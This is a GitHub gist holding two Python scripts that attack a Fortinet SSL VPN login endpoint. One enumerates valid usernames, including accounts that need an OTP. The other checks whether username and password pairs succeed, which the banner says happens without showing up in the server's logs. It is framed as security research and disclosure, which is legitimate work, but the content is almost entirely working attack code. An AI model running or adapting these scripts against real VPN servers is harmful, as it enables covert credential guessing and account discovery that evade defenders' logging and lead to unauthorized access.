Skip to content

Instantly share code, notes, and snippets.

@PeterV-Pent
Last active November 27, 2024 05:29
Show Gist options
  • Save PeterV-Pent/7f47fbf2cf1bd70a6cff4304cc98c294 to your computer and use it in GitHub Desktop.
Save PeterV-Pent/7f47fbf2cf1bd70a6cff4304cc98c294 to your computer and use it in GitHub Desktop.
Fortinet VPN Logging Blindspot
import requests
import warnings
import urllib3
import re
# Suppress only the InsecureRequestWarning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def display_banner():
print("***************************************************************")
print("* *")
print("* This tool is intended for cybersecurity research and *")
print("* educational purposes. Ensure compliance with all relevant *")
print("* legal and ethical guidelines when using this tool. *")
print("* *")
print("* This tool's purpose is to demonstrate how a successful *")
print("* authentication request will not get logged as part of *")
print("* Fortinet's VPN server's log. *")
print("* *")
print("***************************************************************")
print("\n")
def get_server_details():
cname_or_ip = input("Enter CNAME or IP: ")
port = input("Enter Port: ")
return {
"cname_or_ip": cname_or_ip,
"port": port
}
def get_connection_details():
username = input("Enter Username: ")
password = input("Enter Password: ")
return {
"username": username,
"password": password
}
def main():
display_banner()
#get server details
server_details = get_server_details()
while True:
#get connection details
connection_details = get_connection_details()
# Define the VPN server URL
url = f"https://{server_details['cname_or_ip']}:{server_details['port']}/remote/logincheck"
# Define the headers
headers = {
"User-Agent": "Mozilla/5.0 SV1",
"X-Pad": "0000000000000000000000000",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "103",
"Connection": "keep-alive"
}
i = 0
n = 0
count = 0
failed_attempts = 0
# Define the payload (data)
payload = {
"username": connection_details['username'],
"credential": connection_details['password'],
"realm": "",
"ajax": "1",
"just_logged_in":"1"
}
# Send the POST request with SSL verification disabled
try:
response = requests.post(url, headers=headers, data=payload, verify=False)
if response.status_code == 200:
match = re.search(r'<!--\s*sslvpnerrmsg\s*=\s*Too many bad login attempts\. Please try again in a few minutes\.\s*-->', response.text, re.IGNORECASE | re.DOTALL)
if match or "Too many bad login attempts" in response.text:
print("Too many bad login attempts")
else:
# Check for "Permission denied"
match = re.search(r'<!--\s*sslvpnerrmsg\s*=\s*Permission denied\.\s*-->', response.text, re.IGNORECASE | re.DOTALL)
if match or "Permission denied" in response.text:
print("Invalid user")
else:
print(f"Failed to read the response. Status code: {response.status_code}")
print("Response:", response.text)
if response.status_code == 401:
match = re.search(r'<INPUT TYPE="hidden" NAME="magic" VALUE="([^"]+)"', response.text)
if match:
print ("Valid user - need to eneter the OTP")
else:
print(f"Failed to send request. Status code: {response.status_code}")
print("Response:", response.text)
except requests.exceptions.RequestException as e:
print(f"An error occurred: {e}")
print("_________________________________________________________________")
if __name__ == "__main__":
main()
import requests
import warnings
import urllib3
# Suppress only the InsecureRequestWarning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def display_banner():
print("***************************************************************")
print("* *")
print("* This tool is intended for cybersecurity research and *")
print("* educational purposes. Ensure compliance with all relevant *")
print("* legal and ethical guidelines when using this tool. *")
print("* *")
print("* This tool's purpose is to demonstrate how a successful *")
print("* authentication request will not get logged as part of *")
print("* Fortinet's VPN server's log. *")
print("* *")
print("***************************************************************")
print("\n")
def get_connection_details():
cname_or_ip = input("Enter CNAME or IP: ")
port = input("Enter Port: ")
username = input("Enter Username: ")
password = input("Enter Password: ")
return {
"cname_or_ip": cname_or_ip,
"port": port,
"username": username,
"password": password
}
def send_request(url, headers, payload):
try:
response = requests.post(url, headers=headers, data=payload, verify=False)
return response
except requests.exceptions.RequestException as e:
print(f"An error occurred: {e}")
return None
def analyze_response(response):
if response and response.status_code == 200:
print("Request sent successfully")
print("Response:", response.text)
if "ret=1" in response.text:
print("Successful Login!")
elif "ret=0" in response.text:
print("Failed Login!")
else:
print("Unexpected response format")
else:
print(f"Failed to send request. Status code: {response.status_code if response else 'No Response'}")
def main():
display_banner()
while True:
# Get connection details
connection_details = get_connection_details()
# Define the VPN server URL
url = f"https://{connection_details['cname_or_ip']}:{connection_details['port']}/remote/logincheck"
# Define the headers
headers = {
"User-Agent": "Mozilla/5.0",
"X-Pad": "000000000000000000000000000000000000000000000000000000000000",
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "keep-alive"
}
# Define the payload (data)
payload = {
"username": connection_details['username'],
"credential": connection_details['password'],
"realm": "",
"ajax": "1"
}
# Send the POST request
response = send_request(url, headers, payload)
# Analyze the response
analyze_response(response)
print("_________________________________________________________________")
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment